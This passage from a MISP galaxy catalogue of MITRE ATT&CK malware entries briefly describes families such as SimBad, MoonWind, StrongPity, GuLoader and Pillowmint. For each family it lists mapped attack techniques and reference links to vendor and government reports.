- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="RTM" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"

Table 5434. Table References

Links
https://attack.mitre.org/software/S0148

https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

SimBad - S0419

[SimBad](https://attack.mitre.org/software/S0419) was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name "SimBad" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server.(Citation: CheckPoint SimBad 2019)

The tag is: *misp-galaxy:mitre-malware="SimBad - S0419"*

SimBad - S0419 is also known as:

- SimBad

View relationships graph

SimBad - S0419 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1402" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Generate Fraudulent Advertising Revenue - T1472" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5435. Table References

Links
https://attack.mitre.org/software/S0419
https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/

MoonWind - S0149

[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)

The tag is: *misp-galaxy:mitre-malware="MoonWind - S0149"*

MoonWind - S0149 is also known as:

- MoonWind

View relationships graph

MoonWind - S0149 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"

- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5436. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
https://attack.mitre.org/software/S0149

StrongPity - S0491

[StrongPity](https://attack.mitre.org/software/S0491) is an information stealing malware used by [PROMETHIUM](https://attack.mitre.org/groups/G0056).(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

The tag is: *misp-galaxy:mitre-malware="StrongPity - S0491"*

StrongPity - S0491 is also known as:

- StrongPity

View relationships graph

StrongPity - S0491 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5437. Table References

Links

https://attack.mitre.org/software/S0491
https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf

WINDSHIELD - S0155

[WINDSHIELD](https://attack.mitre.org/software/S0155) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="WINDSHIELD - S0155"*

View relationships graph

WINDSHIELD - S0155 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5438. Table References

Links
https://attack.mitre.org/software/S0155
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

GoldenEagle - S0551

[GoldenEagle](https://attack.mitre.org/software/S0551) is a piece of Android malware that has been used in targeting of Uyghurs, Muslims, Tibetans, individuals in Turkey, and individuals in China. Samples have been found as early as 2012.(Citation: Lookout Uyghur Campaign)

The tag is: *misp-galaxy:mitre-malware="GoldenEagle - S0551"*

GoldenEagle - S0551 is also known as:

- GoldenEagle

View relationships graph

GoldenEagle - S0551 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"

Table 5439. Table References

Links
https://attack.mitre.org/software/S0551
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

WellMail - S0515

[WellMail](https://attack.mitre.org/software/S0515) is a lightweight malware written in Golang used by [APT29](https://attack.mitre.org/groups/G0016), similar in design and structure to [WellMess](https://attack.mitre.org/software/S0514).(Citation: CISA WellMail July 2020)(Citation: NCSC APT29 July 2020)

The tag is: *misp-galaxy:mitre-malware="WellMail - S0515"*

WellMail - S0515 is also known as:

- WellMail

View relationships graph

WellMail - S0515 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5440. Table References

Links
https://attack.mitre.org/software/S0515

https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf

SombRAT - S0615

[SombRAT](https://attack.mitre.org/software/S0615) is a modular backdoor written in C++ that has been in use since at least 2019. [SombRAT](https://attack.mitre.org/software/S0615) has been used to download and execute malicious payloads, including [FIVEHANDS](https://attack.mitre.org/software/S0618) ransomware.(Citation: BlackBerry CostaRicto November 2020)(Citation: FireEye FiveHands April 2021)(Citation: CISA AR21-126A FIVEHANDS May 2021)

The tag is: *misp-galaxy:mitre-malware="SombRAT - S0615"*

SombRAT - S0615 is also known as:

- SombRAT

View relationships graph

SombRAT - S0615 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Argument Spoofing - T1564.010" with estimative-language:likelihood-probability="almost-certain"

Table 5441. Table References

Links
https://attack.mitre.org/software/S0615
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html

BoxCaon - S0651

[BoxCaon](https://attack.mitre.org/software/S0651) is a Windows backdoor that was used by [IndigoZebra](https://attack.mitre.org/groups/G0136) in a 2021 spearphishing campaign against Afghan government officials. [BoxCaon](https://attack.mitre.org/software/S0651)'s name stems from similarities shared with the malware family [xCaon](https://attack.mitre.org/software/S0653).(Citation: Checkpoint IndigoZebra July 2021)

The tag is: *misp-galaxy:mitre-malware="BoxCaon - S0651"*

BoxCaon - S0651 is also known as:

- BoxCaon

View relationships graph

BoxCaon - S0651 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Boot or Logon Autostart Execution - T1547" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5442. Table References

Links
https://attack.mitre.org/software/S0651
https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/
https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html

SoreFang - S0516

[SoreFang](https://attack.mitre.org/software/S0516) is first stage downloader used by [APT29](https://attack.mitre.org/groups/G0016) for exfiltration and to load other malware.(Citation: NCSC APT29 July 2020)(Citation: CISA SoreFang July 2016)

The tag is: *misp-galaxy:mitre-malware="SoreFang - S0516"*

SoreFang - S0516 is also known as:

- SoreFang

View relationships graph

SoreFang - S0516 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5443. Table References

Links
https://attack.mitre.org/software/S0516
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf

KOMPROGO - S0156

[KOMPROGO](https://attack.mitre.org/software/S0156) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050) that is capable of process, file, and registry management. (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="KOMPROGO - S0156"*

KOMPROGO - S0156 is also known as:

- KOMPROGO

View relationships graph

KOMPROGO - S0156 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

Table 5444. Table References

Links
https://attack.mitre.org/software/S0156
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

GuLoader - S0561

[GuLoader](https://attack.mitre.org/software/S0561) is a file downloader that has been used since at least December 2019 to distribute a variety of remote administration tool (RAT) malware, including [NETWIRE](https://attack.mitre.org/software/S0198), [Agent Tesla](https://attack.mitre.org/software/S0331), [NanoCore](https://attack.mitre.org/software/S0336), FormBook, and Parallax RAT.(Citation: Unit 42 NETWIRE April 2020)(Citation: Medium Eli Salem GuLoader April 2021)

The tag is: *misp-galaxy:mitre-malware="GuLoader - S0561"*

GuLoader - S0561 is also known as:

- GuLoader

View relationships graph

GuLoader - S0561 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5445. Table References

Links
https://attack.mitre.org/software/S0561
https://elis531989.medium.com/dancing-with-shellcodes-cracking-the-latest-version-of-guloader-75083fb15cb4
https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/

OSInfo - S0165

[OSInfo](https://attack.mitre.org/software/S0165) is a custom tool used by [APT3](https://attack.mitre.org/groups/G0022) to do internal discovery on a victim's computer and network. (Citation: Symantec Buckeye)

The tag is: *misp-galaxy:mitre-malware="OSInfo - S0165"*

OSInfo - S0165 is also known as:

- OSInfo

View relationships graph

OSInfo - S0165 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 5446. Table References

Links
http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong
https://attack.mitre.org/software/S0165

SOUNDBITE - S0157

[SOUNDBITE](https://attack.mitre.org/software/S0157) is a signature backdoor used by [APT32](https://attack.mitre.org/groups/G0050). (Citation: FireEye APT32 May 2017)

The tag is: *misp-galaxy:mitre-malware="SOUNDBITE - S0157"*

SOUNDBITE - S0157 is also known as:

- SOUNDBITE

View relationships graph

SOUNDBITE - S0157 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="SOUNDBITE" with estimative-language:likelihood-probability="likely"

Table 5447. Table References

Links
https://attack.mitre.org/software/S0157
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html

Pillowmint - S0517

[Pillowmint](https://attack.mitre.org/software/S0517) is a point-of-sale malware used by [FIN7](https://attack.mitre.org/groups/G0046) designed to capture credit card information.(Citation: Trustwave Pillowmint June 2020)

The tag is: *misp-galaxy:mitre-malware="Pillowmint - S0517"*

Pillowmint - S0517 is also known as:

- Pillowmint

View relationships graph

Pillowmint - S0517 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asynchronous Procedure Call - T1055.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
